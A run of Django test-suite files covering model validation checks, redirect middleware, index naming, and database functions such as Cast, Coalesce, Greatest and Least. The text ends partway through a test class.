@isolate_apps('invalid_models_tests')
class FieldNamesTests(SimpleTestCase):

    def test_ending_with_underscore(self):
        class Model(models.Model):
            field_ = models.CharField(max_length=10)
            m2m_ = models.ManyToManyField('self')

        errors = Model.check()
        expected = [
            Error(
                'Field names must not end with an underscore.',
                obj=Model._meta.get_field('field_'),
                id='fields.E001',
            ),
            Error(
                'Field names must not end with an underscore.',
                obj=Model._meta.get_field('m2m_'),
                id='fields.E001',
            ),
        ]
        self.assertEqual(errors, expected)

    max_column_name_length, column_limit_db_alias = get_max_column_name_length()

    @unittest.skipIf(max_column_name_length is None, "The database doesn't have a column name length limit.")
    def test_M2M_long_column_name(self):
        """
        #13711 -- Model check for long M2M column names when database has
        column name length limits.
        """
        allowed_len, db_alias = get_max_column_name_length()

        # A model with very long name which will be used to set relations to.
        class VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(models.Model):
            title = models.CharField(max_length=11)

        # Main model for which checks will be performed.
        class ModelWithLongField(models.Model):
            m2m_field = models.ManyToManyField(
                VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
                related_name="rn1"
            )
            m2m_field2 = models.ManyToManyField(
                VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
                related_name="rn2", through='m2msimple'
            )
            m2m_field3 = models.ManyToManyField(
                VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
                related_name="rn3",
                through='m2mcomplex'
            )
            fk = models.ForeignKey(
                VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
                models.CASCADE,
                related_name="rn4",
            )

        # Models used for setting `through` in M2M field.
        class m2msimple(models.Model):
            id2 = models.ForeignKey(ModelWithLongField, models.CASCADE)

        class m2mcomplex(models.Model):
            id2 = models.ForeignKey(ModelWithLongField, models.CASCADE)

        long_field_name = 'a' * (self.max_column_name_length + 1)
        models.ForeignKey(
            VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
            models.CASCADE,
        ).contribute_to_class(m2msimple, long_field_name)

        models.ForeignKey(
            VeryLongModelNamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,
            models.CASCADE,
            db_column=long_field_name
        ).contribute_to_class(m2mcomplex, long_field_name)

        errors = ModelWithLongField.check()

        # First error because of M2M field set on the model with long name.
        m2m_long_name = "verylongmodelnamezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz_id"
        if self.max_column_name_length > len(m2m_long_name):
            # Some databases support names longer than the test name.
            expected = []
        else:
            expected = [
                Error(
                    'Autogenerated column name too long for M2M field "%s". '
                    'Maximum length is "%s" for database "%s".'
                    % (m2m_long_name, self.max_column_name_length, self.column_limit_db_alias),
                    hint="Use 'through' to create a separate model for "
                         "M2M and then set column_name using 'db_column'.",
                    obj=ModelWithLongField,
                    id='models.E019',
                )
            ]

        # Second error because the FK specified in the `through` model
        # `m2msimple` has auto-generated name longer than allowed.
        # There will be no check errors in the other M2M because it
        # specifies db_column for the FK in `through` model even if the actual
        # name is longer than the limits of the database.
        expected.append(
            Error(
                'Autogenerated column name too long for M2M field "%s_id". '
                'Maximum length is "%s" for database "%s".'
                % (long_field_name, self.max_column_name_length, self.column_limit_db_alias),
                hint="Use 'through' to create a separate model for "
                     "M2M and then set column_name using 'db_column'.",
                obj=ModelWithLongField,
                id='models.E019',
            )
        )

        self.assertEqual(errors, expected)

    @unittest.skipIf(max_column_name_length is None, "The database doesn't have a column name length limit.")
    def test_local_field_long_column_name(self):
        """
        #13711 -- Model check for long column names
        when database does not support long names.
        """
        allowed_len, db_alias = get_max_column_name_length()

        class ModelWithLongField(models.Model):
            title = models.CharField(max_length=11)

        long_field_name = 'a' * (self.max_column_name_length + 1)
        long_field_name2 = 'b' * (self.max_column_name_length + 1)
        models.CharField(max_length=11).contribute_to_class(ModelWithLongField, long_field_name)
        models.CharField(max_length=11, db_column='vlmn').contribute_to_class(ModelWithLongField, long_field_name2)

        errors = ModelWithLongField.check()

        # Error because of the field with long name added to the model
        # without specifying db_column
        expected = [
            Error(
                'Autogenerated column name too long for field "%s". '
                'Maximum length is "%s" for database "%s".'
                % (long_field_name, self.max_column_name_length, self.column_limit_db_alias),
                hint="Set the column name manually using 'db_column'.",
                obj=ModelWithLongField,
                id='models.E018',
            )
        ]

        self.assertEqual(errors, expected)

    def test_including_separator(self):
        class Model(models.Model):
            some__field = models.IntegerField()

        errors = Model.check()
        expected = [
            Error(
                'Field names must not contain "__".',
                obj=Model._meta.get_field('some__field'),
                id='fields.E002',
            )
        ]
        self.assertEqual(errors, expected)

    def test_pk(self):
        class Model(models.Model):
            pk = models.IntegerField()

        errors = Model.check()
        expected = [
            Error(
                "'pk' is a reserved word that cannot be used as a field name.",
                obj=Model._meta.get_field('pk'),
                id='fields.E003',
            )
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class ShadowingFieldsTests(SimpleTestCase):

    def test_field_name_clash_with_child_accessor(self):
        class Parent(models.Model):
            pass

        class Child(Parent):
            child = models.CharField(max_length=100)

        errors = Child.check()
        expected = [
            Error(
                "The field 'child' clashes with the field "
                "'child' from model 'invalid_models_tests.parent'.",
                obj=Child._meta.get_field('child'),
                id='models.E006',
            )
        ]
        self.assertEqual(errors, expected)

    def test_multiinheritance_clash(self):
        class Mother(models.Model):
            clash = models.IntegerField()

        class Father(models.Model):
            clash = models.IntegerField()

        class Child(Mother, Father):
            # Here we have two clashed: id (automatic field) and clash, because
            # both parents define these fields.
            pass

        errors = Child.check()
        expected = [
            Error(
                "The field 'id' from parent model "
                "'invalid_models_tests.mother' clashes with the field 'id' "
                "from parent model 'invalid_models_tests.father'.",
                obj=Child,
                id='models.E005',
            ),
            Error(
                "The field 'clash' from parent model "
                "'invalid_models_tests.mother' clashes with the field 'clash' "
                "from parent model 'invalid_models_tests.father'.",
                obj=Child,
                id='models.E005',
            )
        ]
        self.assertEqual(errors, expected)

    def test_inheritance_clash(self):
        class Parent(models.Model):
            f_id = models.IntegerField()

        class Target(models.Model):
            # This field doesn't result in a clash.
            f_id = models.IntegerField()

        class Child(Parent):
            # This field clashes with parent "f_id" field.
            f = models.ForeignKey(Target, models.CASCADE)

        errors = Child.check()
        expected = [
            Error(
                "The field 'f' clashes with the field 'f_id' "
                "from model 'invalid_models_tests.parent'.",
                obj=Child._meta.get_field('f'),
                id='models.E006',
            )
        ]
        self.assertEqual(errors, expected)

    def test_multigeneration_inheritance(self):
        class GrandParent(models.Model):
            clash = models.IntegerField()

        class Parent(GrandParent):
            pass

        class Child(Parent):
            pass

        class GrandChild(Child):
            clash = models.IntegerField()

        errors = GrandChild.check()
        expected = [
            Error(
                "The field 'clash' clashes with the field 'clash' "
                "from model 'invalid_models_tests.grandparent'.",
                obj=GrandChild._meta.get_field('clash'),
                id='models.E006',
            )
        ]
        self.assertEqual(errors, expected)

    def test_id_clash(self):
        class Target(models.Model):
            pass

        class Model(models.Model):
            fk = models.ForeignKey(Target, models.CASCADE)
            fk_id = models.IntegerField()

        errors = Model.check()
        expected = [
            Error(
                "The field 'fk_id' clashes with the field 'fk' from model "
                "'invalid_models_tests.model'.",
                obj=Model._meta.get_field('fk_id'),
                id='models.E006',
            )
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class OtherModelTests(SimpleTestCase):

    def test_unique_primary_key(self):
        invalid_id = models.IntegerField(primary_key=False)

        class Model(models.Model):
            id = invalid_id

        errors = Model.check()
        expected = [
            Error(
                "'id' can only be used as a field name if the field also sets "
                "'primary_key=True'.",
                obj=Model,
                id='models.E004',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_ordering_non_iterable(self):
        class Model(models.Model):
            class Meta:
                ordering = "missing_field"

        errors = Model.check()
        expected = [
            Error(
                "'ordering' must be a tuple or list "
                "(even if you want to order by only one field).",
                obj=Model,
                id='models.E014',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_just_ordering_no_errors(self):
        class Model(models.Model):
            order = models.PositiveIntegerField()

            class Meta:
                ordering = ['order']

        self.assertEqual(Model.check(), [])

    def test_just_order_with_respect_to_no_errors(self):
        class Question(models.Model):
            pass

        class Answer(models.Model):
            question = models.ForeignKey(Question, models.CASCADE)

            class Meta:
                order_with_respect_to = 'question'

        self.assertEqual(Answer.check(), [])

    def test_ordering_with_order_with_respect_to(self):
        class Question(models.Model):
            pass

        class Answer(models.Model):
            question = models.ForeignKey(Question, models.CASCADE)
            order = models.IntegerField()

            class Meta:
                order_with_respect_to = 'question'
                ordering = ['order']

        errors = Answer.check()
        expected = [
            Error(
                "'ordering' and 'order_with_respect_to' cannot be used together.",
                obj=Answer,
                id='models.E021',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_non_valid(self):
        class RelationModel(models.Model):
            pass

        class Model(models.Model):
            relation = models.ManyToManyField(RelationModel)

            class Meta:
                ordering = ['relation']

        errors = Model.check()
        expected = [
            Error(
                "'ordering' refers to the non-existent field 'relation'.",
                obj=Model,
                id='models.E015',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_ordering_pointing_to_missing_field(self):
        class Model(models.Model):
            class Meta:
                ordering = ("missing_field",)

        errors = Model.check()
        expected = [
            Error(
                "'ordering' refers to the non-existent field 'missing_field'.",
                obj=Model,
                id='models.E015',
            )
        ]
        self.assertEqual(errors, expected)

    def test_ordering_pointing_to_missing_foreignkey_field(self):
        # refs #22711

        class Model(models.Model):
            missing_fk_field = models.IntegerField()

            class Meta:
                ordering = ("missing_fk_field_id",)

        errors = Model.check()
        expected = [
            Error(
                "'ordering' refers to the non-existent field 'missing_fk_field_id'.",
                obj=Model,
                id='models.E015',
            )
        ]
        self.assertEqual(errors, expected)

    def test_ordering_pointing_to_existing_foreignkey_field(self):
        # refs #22711

        class Parent(models.Model):
            pass

        class Child(models.Model):
            parent = models.ForeignKey(Parent, models.CASCADE)

            class Meta:
                ordering = ("parent_id",)

        self.assertFalse(Child.check())

    @override_settings(TEST_SWAPPED_MODEL_BAD_VALUE='not-a-model')
    def test_swappable_missing_app_name(self):
        class Model(models.Model):
            class Meta:
                swappable = 'TEST_SWAPPED_MODEL_BAD_VALUE'

        errors = Model.check()
        expected = [
            Error(
                "'TEST_SWAPPED_MODEL_BAD_VALUE' is not of the form 'app_label.app_name'.",
                id='models.E001',
            ),
        ]
        self.assertEqual(errors, expected)

    @override_settings(TEST_SWAPPED_MODEL_BAD_MODEL='not_an_app.Target')
    def test_swappable_missing_app(self):
        class Model(models.Model):
            class Meta:
                swappable = 'TEST_SWAPPED_MODEL_BAD_MODEL'

        errors = Model.check()
        expected = [
            Error(
                "'TEST_SWAPPED_MODEL_BAD_MODEL' references 'not_an_app.Target', "
                'which has not been installed, or is abstract.',
                id='models.E002',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_two_m2m_through_same_relationship(self):
        class Person(models.Model):
            pass

        class Group(models.Model):
            primary = models.ManyToManyField(Person, through="Membership", related_name="primary")
            secondary = models.ManyToManyField(Person, through="Membership", related_name="secondary")

        class Membership(models.Model):
            person = models.ForeignKey(Person, models.CASCADE)
            group = models.ForeignKey(Group, models.CASCADE)

        errors = Group.check()
        expected = [
            Error(
                "The model has two many-to-many relations through "
                "the intermediate model 'invalid_models_tests.Membership'.",
                obj=Group,
                id='models.E003',
            )
        ]
        self.assertEqual(errors, expected)

    def test_missing_parent_link(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')

            class Place(models.Model):
                pass

            class ParkingLot(Place):
                # In lieu of any other connector, an existing OneToOneField will be
                # promoted to the primary key.
                parent = models.OneToOneField(Place, models.CASCADE)

        self.assertEqual(len(warns), 1)
        msg = str(warns[0].message)
        self.assertEqual(
            msg,
            'Add parent_link=True to invalid_models_tests.ParkingLot.parent '
            'as an implicit link is deprecated.'
        )
        self.assertEqual(ParkingLot._meta.pk.name, 'parent')

    def test_m2m_table_name_clash(self):
        class Foo(models.Model):
            bar = models.ManyToManyField('Bar', db_table='myapp_bar')

            class Meta:
                db_table = 'myapp_foo'

        class Bar(models.Model):
            class Meta:
                db_table = 'myapp_bar'

        self.assertEqual(Foo.check(), [
            Error(
                "The field's intermediary table 'myapp_bar' clashes with the "
                "table name of 'invalid_models_tests.Bar'.",
                obj=Foo._meta.get_field('bar'),
                id='fields.E340',
            )
        ])

    def test_m2m_field_table_name_clash(self):
        class Foo(models.Model):
            pass

        class Bar(models.Model):
            foos = models.ManyToManyField(Foo, db_table='clash')

        class Baz(models.Model):
            foos = models.ManyToManyField(Foo, db_table='clash')

        self.assertEqual(Bar.check() + Baz.check(), [
            Error(
                "The field's intermediary table 'clash' clashes with the "
                "table name of 'invalid_models_tests.Baz.foos'.",
                obj=Bar._meta.get_field('foos'),
                id='fields.E340',
            ),
            Error(
                "The field's intermediary table 'clash' clashes with the "
                "table name of 'invalid_models_tests.Bar.foos'.",
                obj=Baz._meta.get_field('foos'),
                id='fields.E340',
            )
        ])

    def test_m2m_autogenerated_table_name_clash(self):
        class Foo(models.Model):
            class Meta:
                db_table = 'bar_foos'

        class Bar(models.Model):
            # The autogenerated `db_table` will be bar_foos.
            foos = models.ManyToManyField(Foo)

            class Meta:
                db_table = 'bar'

        self.assertEqual(Bar.check(), [
            Error(
                "The field's intermediary table 'bar_foos' clashes with the "
                "table name of 'invalid_models_tests.Foo'.",
                obj=Bar._meta.get_field('foos'),
                id='fields.E340',
            )
        ])

    @isolate_apps('django.contrib.auth', kwarg_name='apps')
    def test_lazy_reference_checks(self, apps):
        class DummyModel(models.Model):
            author = models.ForeignKey('Author', models.CASCADE)

            class Meta:
                app_label = 'invalid_models_tests'

        class DummyClass(object):
            def __call__(self, **kwargs):
                pass

            def dummy_method(self):
                pass

        def dummy_function(*args, **kwargs):
            pass

        apps.lazy_model_operation(dummy_function, ('auth', 'imaginarymodel'))
        apps.lazy_model_operation(dummy_function, ('fanciful_app', 'imaginarymodel'))

        post_init.connect(dummy_function, sender='missing-app.Model', apps=apps)
        post_init.connect(DummyClass(), sender='missing-app.Model', apps=apps)
        post_init.connect(DummyClass().dummy_method, sender='missing-app.Model', apps=apps)

        expected = [
            Error(
                "%r contains a lazy reference to auth.imaginarymodel, "
                "but app 'auth' doesn't provide model 'imaginarymodel'." % dummy_function,
                obj=dummy_function,
                id='models.E022',
            ),
            Error(
                "%r contains a lazy reference to fanciful_app.imaginarymodel, "
                "but app 'fanciful_app' isn't installed." % dummy_function,
                obj=dummy_function,
                id='models.E022',
            ),
            Error(
                "An instance of class 'DummyClass' was connected to "
                "the 'post_init' signal with a lazy reference to the sender "
                "'missing-app.model', but app 'missing-app' isn't installed.",
                hint=None,
                obj='invalid_models_tests.test_models',
                id='signals.E001',
            ),
            Error(
                "Bound method 'DummyClass.dummy_method' was connected to the "
                "'post_init' signal with a lazy reference to the sender "
                "'missing-app.model', but app 'missing-app' isn't installed.",
                hint=None,
                obj='invalid_models_tests.test_models',
                id='signals.E001',
            ),
            Error(
                "The field invalid_models_tests.DummyModel.author was declared "
                "with a lazy reference to 'invalid_models_tests.author', but app "
                "'invalid_models_tests' isn't installed.",
                hint=None,
                obj=DummyModel.author.field,
                id='fields.E307',
            ),
            Error(
                "The function 'dummy_function' was connected to the 'post_init' "
                "signal with a lazy reference to the sender "
                "'missing-app.model', but app 'missing-app' isn't installed.",
                hint=None,
                obj='invalid_models_tests.test_models',
                id='signals.E001',
            ),
        ]
        self.assertEqual(_check_lazy_references(apps), expected)












from django import http
from django.conf import settings
from django.contrib.redirects.middleware import RedirectFallbackMiddleware
from django.contrib.redirects.models import Redirect
from django.contrib.sites.models import Site
from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase, modify_settings, override_settings
from django.test.utils import ignore_warnings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning


@modify_settings(MIDDLEWARE={'append': 'django.contrib.redirects.middleware.RedirectFallbackMiddleware'})
@override_settings(APPEND_SLASH=False, SITE_ID=1)
class RedirectTests(TestCase):

    def setUp(self):
        self.site = Site.objects.get(pk=settings.SITE_ID)

    def test_model(self):
        r1 = Redirect.objects.create(site=self.site, old_path='/initial', new_path='/new_target')
        self.assertEqual(six.text_type(r1), "/initial ---> /new_target")

    def test_redirect(self):
        Redirect.objects.create(site=self.site, old_path='/initial', new_path='/new_target')
        response = self.client.get('/initial')
        self.assertRedirects(response, '/new_target', status_code=301, target_status_code=404)

    @override_settings(APPEND_SLASH=True)
    def test_redirect_with_append_slash(self):
        Redirect.objects.create(site=self.site, old_path='/initial/', new_path='/new_target/')
        response = self.client.get('/initial')
        self.assertRedirects(response, '/new_target/', status_code=301, target_status_code=404)

    @override_settings(APPEND_SLASH=True)
    def test_redirect_with_append_slash_and_query_string(self):
        Redirect.objects.create(site=self.site, old_path='/initial/?foo', new_path='/new_target/')
        response = self.client.get('/initial?foo')
        self.assertRedirects(response, '/new_target/', status_code=301, target_status_code=404)

    def test_response_gone(self):
        """When the redirect target is '', return a 410"""
        Redirect.objects.create(site=self.site, old_path='/initial', new_path='')
        response = self.client.get('/initial')
        self.assertEqual(response.status_code, 410)

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(MIDDLEWARE=None)
    @modify_settings(MIDDLEWARE_CLASSES={'append': 'django.contrib.redirects.middleware.RedirectFallbackMiddleware'})
    def test_redirect_middleware_classes(self):
        self.test_redirect()

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(MIDDLEWARE=None)
    @modify_settings(MIDDLEWARE_CLASSES={'append': 'django.contrib.redirects.middleware.RedirectFallbackMiddleware'})
    def test_more_redirects_middleware_classes(self):
        self.test_redirect_with_append_slash()
        self.test_redirect_with_append_slash_and_query_string()
        self.test_response_gone()

    @modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'})
    def test_sites_not_installed(self):
        with self.assertRaises(ImproperlyConfigured):
            RedirectFallbackMiddleware()


class OverriddenRedirectFallbackMiddleware(RedirectFallbackMiddleware):
    # Use HTTP responses different from the defaults
    response_gone_class = http.HttpResponseForbidden
    response_redirect_class = http.HttpResponseRedirect


@modify_settings(MIDDLEWARE={'append': 'redirects_tests.tests.OverriddenRedirectFallbackMiddleware'})
@override_settings(SITE_ID=1)
class OverriddenRedirectMiddlewareTests(TestCase):

    def setUp(self):
        self.site = Site.objects.get(pk=settings.SITE_ID)

    def test_response_gone_class(self):
        Redirect.objects.create(site=self.site, old_path='/initial/', new_path='')
        response = self.client.get('/initial/')
        self.assertEqual(response.status_code, 403)

    def test_response_redirect_class(self):
        Redirect.objects.create(site=self.site, old_path='/initial/', new_path='/new_target/')
        response = self.client.get('/initial/')
        self.assertEqual(response.status_code, 302)






from django.db import models


class Book(models.Model):
    title = models.CharField(max_length=50)
    author = models.CharField(max_length=50)
    pages = models.IntegerField(db_column='page_count')












from django.db import models
from django.test import TestCase

from .models import Book


class IndexesTests(TestCase):

    def test_repr(self):
        index = models.Index(fields=['title'])
        multi_col_index = models.Index(fields=['title', 'author'])
        self.assertEqual(repr(index), "<Index: fields='title'>")
        self.assertEqual(repr(multi_col_index), "<Index: fields='title, author'>")

    def test_eq(self):
        index = models.Index(fields=['title'])
        same_index = models.Index(fields=['title'])
        another_index = models.Index(fields=['title', 'author'])
        index.model = Book
        same_index.model = Book
        another_index.model = Book
        self.assertEqual(index, same_index)
        self.assertNotEqual(index, another_index)

    def test_index_fields_type(self):
        with self.assertRaisesMessage(ValueError, 'Index.fields must be a list.'):
            models.Index(fields='title')

    def test_raises_error_without_field(self):
        msg = 'At least one field is required to define an index.'
        with self.assertRaisesMessage(ValueError, msg):
            models.Index()

    def test_max_name_length(self):
        msg = 'Index names cannot be longer than 30 characters.'
        with self.assertRaisesMessage(ValueError, msg):
            models.Index(fields=['title'], name='looooooooooooong_index_name_idx')

    def test_name_constraints(self):
        msg = 'Index names cannot start with an underscore (_).'
        with self.assertRaisesMessage(ValueError, msg):
            models.Index(fields=['title'], name='_name_starting_with_underscore')

        msg = 'Index names cannot start with a number (0-9).'
        with self.assertRaisesMessage(ValueError, msg):
            models.Index(fields=['title'], name='5name_starting_with_number')

    def test_name_auto_generation(self):
        index = models.Index(fields=['author'])
        index.set_name_with_model(Book)
        self.assertEqual(index.name, 'model_index_author_0f5565_idx')

        # '-' for DESC columns should be accounted for in the index name.
        index = models.Index(fields=['-author'])
        index.set_name_with_model(Book)
        self.assertEqual(index.name, 'model_index_author_708765_idx')

        # fields may be truncated in the name. db_column is used for naming.
        long_field_index = models.Index(fields=['pages'])
        long_field_index.set_name_with_model(Book)
        self.assertEqual(long_field_index.name, 'model_index_page_co_69235a_idx')

        # suffix can't be longer than 3 characters.
        long_field_index.suffix = 'suff'
        msg = 'Index too long for multiple database support. Is self.suffix longer than 3 characters?'
        with self.assertRaisesMessage(AssertionError, msg):
            long_field_index.set_name_with_model(Book)

    def test_deconstruction(self):
        index = models.Index(fields=['title'])
        index.set_name_with_model(Book)
        path, args, kwargs = index.deconstruct()
        self.assertEqual(path, 'django.db.models.Index')
        self.assertEqual(args, ())
        self.assertEqual(kwargs, {'fields': ['title'], 'name': 'model_index_title_196f42_idx'})






"""
Tests for built in Function expressions.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=50)
    alias = models.CharField(max_length=50, null=True, blank=True)
    goes_by = models.CharField(max_length=50, null=True, blank=True)
    age = models.PositiveSmallIntegerField(default=30)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    authors = models.ManyToManyField(Author, related_name='articles')
    title = models.CharField(max_length=50)
    summary = models.CharField(max_length=200, null=True, blank=True)
    text = models.TextField()
    written = models.DateTimeField()
    published = models.DateTimeField(null=True, blank=True)
    updated = models.DateTimeField(null=True, blank=True)
    views = models.PositiveIntegerField(default=0)

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Fan(models.Model):
    name = models.CharField(max_length=50)
    age = models.PositiveSmallIntegerField(default=30)
    author = models.ForeignKey(Author, models.CASCADE, related_name='fans')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class DTModel(models.Model):
    name = models.CharField(max_length=32)
    start_datetime = models.DateTimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    start_date = models.DateField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)
    duration = models.DurationField(null=True, blank=True)

    def __str__(self):
        return 'DTModel({0})'.format(self.name)






from django.db import models
from django.db.models.expressions import Value
from django.db.models.functions import Cast
from django.test import TestCase

from .models import Author


class CastTests(TestCase):
    @classmethod
    def setUpTestData(self):
        Author.objects.create(name='Bob', age=1)

    def test_cast_from_value(self):
        numbers = Author.objects.annotate(cast_integer=Cast(Value('0'), models.IntegerField()))
        self.assertEqual(numbers.get().cast_integer, 0)

    def test_cast_from_field(self):
        numbers = Author.objects.annotate(cast_string=Cast('age', models.CharField(max_length=255)),)
        self.assertEqual(numbers.get().cast_string, '1')

    def test_cast_from_python(self):
        numbers = Author.objects.annotate(cast_float=Cast(0, models.FloatField()))
        self.assertEqual(numbers.get().cast_float, 0.0)












from __future__ import unicode_literals

from datetime import datetime, timedelta
from unittest import skipIf, skipUnless

from django.db import connection
from django.db.models import CharField, TextField, Value as V
from django.db.models.expressions import RawSQL
from django.db.models.functions import (
    Coalesce, Concat, ConcatPair, Greatest, Least, Length, Lower, Now, Substr,
    Upper,
)
from django.test import TestCase, skipIfDBFeature, skipUnlessDBFeature
from django.utils import timezone

from .models import Article, Author, Fan


lorem_ipsum = """
    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod
    tempor incididunt ut labore et dolore magna aliqua."""


def truncate_microseconds(value):
    return value if connection.features.supports_microsecond_precision else value.replace(microsecond=0)


class FunctionTests(TestCase):

    def test_coalesce(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(display_name=Coalesce('alias', 'name'))

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'smithj',
                'Rhonda',
            ],
            lambda a: a.display_name
        )

        with self.assertRaisesMessage(ValueError, 'Coalesce must take at least two expressions'):
            Author.objects.annotate(display_name=Coalesce('alias'))

    def test_coalesce_mixed_values(self):
        a1 = Author.objects.create(name='John Smith', alias='smithj')
        a2 = Author.objects.create(name='Rhonda')
        ar1 = Article.objects.create(
            title="How to Django",
            text=lorem_ipsum,
            written=timezone.now(),
        )
        ar1.authors.add(a1)
        ar1.authors.add(a2)

        # mixed Text and Char
        article = Article.objects.annotate(
            headline=Coalesce('summary', 'text', output_field=TextField()),
        )

        self.assertQuerysetEqual(
            article.order_by('title'), [
                lorem_ipsum,
            ],
            lambda a: a.headline
        )

        # mixed Text and Char wrapped
        article = Article.objects.annotate(
            headline=Coalesce(Lower('summary'), Lower('text'), output_field=TextField()),
        )

        self.assertQuerysetEqual(
            article.order_by('title'), [
                lorem_ipsum.lower(),
            ],
            lambda a: a.headline
        )

    def test_coalesce_ordering(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')

        authors = Author.objects.order_by(Coalesce('alias', 'name'))
        self.assertQuerysetEqual(
            authors, [
                'Rhonda',
                'John Smith',
            ],
            lambda a: a.name
        )

        authors = Author.objects.order_by(Coalesce('alias', 'name').asc())
        self.assertQuerysetEqual(
            authors, [
                'Rhonda',
                'John Smith',
            ],
            lambda a: a.name
        )

        authors = Author.objects.order_by(Coalesce('alias', 'name').desc())
        self.assertQuerysetEqual(
            authors, [
                'John Smith',
                'Rhonda',
            ],
            lambda a: a.name
        )

    def test_greatest(self):
        now = timezone.now()
        before = now - timedelta(hours=1)

        Article.objects.create(
            title="Testing with Django",
            written=before,
            published=now,
        )

        articles = Article.objects.annotate(
            last_updated=Greatest('written', 'published'),
        )
        self.assertEqual(articles.first().last_updated, truncate_microseconds(now))

    @skipUnlessDBFeature('greatest_least_ignores_nulls')
    def test_greatest_ignores_null(self):
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            last_updated=Greatest('written', 'published'),
        )
        self.assertEqual(articles.first().last_updated, now)

    @skipIfDBFeature('greatest_least_ignores_nulls')
    def test_greatest_propagates_null(self):
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            last_updated=Greatest('written', 'published'),
        )
        self.assertIsNone(articles.first().last_updated)

    @skipIf(connection.vendor == 'mysql', "This doesn't work on MySQL")
    def test_greatest_coalesce_workaround(self):
        past = datetime(1900, 1, 1)
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            last_updated=Greatest(
                Coalesce('written', past),
                Coalesce('published', past),
            ),
        )
        self.assertEqual(articles.first().last_updated, now)

    @skipUnless(connection.vendor == 'mysql', "MySQL-specific workaround")
    def test_greatest_coalesce_workaround_mysql(self):
        past = datetime(1900, 1, 1)
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        past_sql = RawSQL("cast(%s as datetime)", (past,))
        articles = Article.objects.annotate(
            last_updated=Greatest(
                Coalesce('written', past_sql),
                Coalesce('published', past_sql),
            ),
        )
        self.assertEqual(articles.first().last_updated, truncate_microseconds(now))

    def test_greatest_all_null(self):
        Article.objects.create(title="Testing with Django", written=timezone.now())

        articles = Article.objects.annotate(last_updated=Greatest('published', 'updated'))
        self.assertIsNone(articles.first().last_updated)

    def test_greatest_one_expressions(self):
        with self.assertRaisesMessage(ValueError, 'Greatest must take at least two expressions'):
            Greatest('written')

    def test_greatest_related_field(self):
        author = Author.objects.create(name='John Smith', age=45)
        Fan.objects.create(name='Margaret', age=50, author=author)

        authors = Author.objects.annotate(
            highest_age=Greatest('age', 'fans__age'),
        )
        self.assertEqual(authors.first().highest_age, 50)

    def test_greatest_update(self):
        author = Author.objects.create(name='James Smith', goes_by='Jim')

        Author.objects.update(alias=Greatest('name', 'goes_by'))

        author.refresh_from_db()
        self.assertEqual(author.alias, 'Jim')

    def test_least(self):
        now = timezone.now()
        before = now - timedelta(hours=1)

        Article.objects.create(
            title="Testing with Django",
            written=before,
            published=now,
        )

        articles = Article.objects.annotate(
            first_updated=Least('written', 'published'),
        )
        self.assertEqual(articles.first().first_updated, truncate_microseconds(before))

    @skipUnlessDBFeature('greatest_least_ignores_nulls')
    def test_least_ignores_null(self):
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            first_updated=Least('written', 'published'),
        )
        self.assertEqual(articles.first().first_updated, now)

    @skipIfDBFeature('greatest_least_ignores_nulls')
    def test_least_propagates_null(self):
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            first_updated=Least('written', 'published'),
        )
        self.assertIsNone(articles.first().first_updated)

    @skipIf(connection.vendor == 'mysql', "This doesn't work on MySQL")
    def test_least_coalesce_workaround(self):
        future = datetime(2100, 1, 1)
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        articles = Article.objects.annotate(
            last_updated=Least(
                Coalesce('written', future),
                Coalesce('published', future),
            ),
        )
        self.assertEqual(articles.first().last_updated, now)

    @skipUnless(connection.vendor == 'mysql', "MySQL-specific workaround")
